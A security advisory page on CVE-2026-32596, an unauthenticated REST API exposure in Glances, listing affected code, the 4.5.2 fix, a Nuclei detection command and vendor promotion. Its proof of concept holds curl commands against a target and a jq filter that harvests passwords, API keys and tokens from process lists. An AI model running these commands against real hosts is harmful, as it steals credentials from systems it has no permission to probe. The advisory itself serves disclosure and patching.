CVE-2026-32596 — glances
Fix: nicolargo/glances@208d876CVE-2026-32596 is a Information Exposure vulnerability in glances. A fix is available for glances — see the affected versions and patch details below.
Glances exposes the REST API without authentication
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-32596.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
glancesReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Glances web server runs without authentication by default when started with glances -w, exposing REST API with sensitive system information including process command-lines containing credentials (passwords, API keys, tokens) to any network client.
Details
Root Cause: Authentication is optional and disabled by default. When no password is provided, the API router initializes without authentication dependency, and the server binds to 0.0.0.0 exposing all endpoints.
Affected Code:
- File:
glances/outputs/glances_restful_api.py, lines 259-272
if self.args.password:
self._password = GlancesPassword(username=args.username, config=config)
if JWT_AVAILABLE:
jwt_secret = config.get_value('outputs', 'jwt_secret_key', default=None)
jwt_expire = config.get_int_value('outputs', 'jwt_expire_minutes', default=60)
self._jwt_handler = JWTHandler(secret_key=jwt_secret, expire_minutes=jwt_expire)
logger.info(f"JWT authentication enabled (token expiration: {jwt_expire} minutes)")
else:
self._jwt_handler = None
logger.info("JWT authentication not available (python-jose not installed)")
else:
self._password = None # NO AUTHENTICATION BY DEFAULT
self._jwt_handler = None
- File:
glances/outputs/glances_restful_api.py, lines 477-480
if self.args.password:
router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])
else:
router = APIRouter(prefix=self.url_prefix) # NO AUTH DEPENDENCY
- File:
glances/outputs/glances_restful_api.py, lines 98-99
self.bind_address = args.bind_address or "0.0.0.0" # BINDS TO ALL INTERFACES
self.port = args.port or 61208
- File:
glances/plugins/processlist/__init__.py, lines 127-140
enable_stats = [
'cpu_percent',
'memory_percent',
'memory_info',
'pid',
'username',
'cpu_times',
'num_threads',
'nice',
'status',
'io_counters',
'cpu_num',
'cmdline', # FULL COMMAND LINE EXPOSED, NO SANITIZATION
]
PoC
- Start Glances in default web server mode:
glances -w
# Output: Glances Web User Interface started on http://0.0.0.0:61208/
- Access API without authentication from any network client:
curl -s http://TARGET:61208/api/4/system | jq .
<img width="593" height="265" alt="image" src="https://github.com/user-attachments/assets/4ec461be-b480-46d5-88e2-f4004f4dae54" />
- Extract system information:
curl -s http://TARGET:61208/api/4/all > system_dump.json
<img width="688" height="547" alt="image" src="https://github.com/user-attachments/assets/7564fb2a-7d94-4c26-848a-03034214b8c7" />
- Harvest credentials from process list:
curl -s http://TARGET:61208/api/4/processlist | \
jq -r '.[] | select(.cmdline | tostring | test("password|api-key|token|secret"; "i")) |
{pid, username, process: .name, cmdline}'
- Example credential exposure:
{
"pid": 4059,
"username": "root",
"process": "python3",
"cmdline": [
"python3",
"-c",
"import time; time.sleep(3600)",
"--api-key=sk-super-secret-token-12345",
"--password=MySecretPassword123",
"--db-pass=admin123"
]
}
Impact
Complete system reconnaissance and credential harvesting from any network client. Exposed endpoints include system info, process lists with full command-line arguments (containing passwords/API keys/tokens), network connections, filesystems, and Docker containers. Enables lateral movement and targeted attacks using stolen credentials.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | glances | all versions | 4.5.2pip install --upgrade 'glances==4.5.2' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for glances, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update glances to 4.5.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-32596 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-32596 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-32596. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
How to detect CVE-2026-32596
A community-maintained Nuclei template exists for this CVE. You can scan for it directly:
nuclei -id cve-2026-32596 -u https://target- Template
- Glances - Information Disclosure
- Severity
- high
- Impact
- Remote attackers can access sensitive system information including credentials, risking data exposure and system compromise.
- Remediation
- Update to version 4.5.2 or later.
Template by ProjectDiscovery nuclei-templates (theamanrawat), MIT licensed. View the full template. Scan only systems you are authorised to test.
Frequently Asked Questions
Is CVE-2026-32596 in your dependencies?
O3 Security finds CVE-2026-32596 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.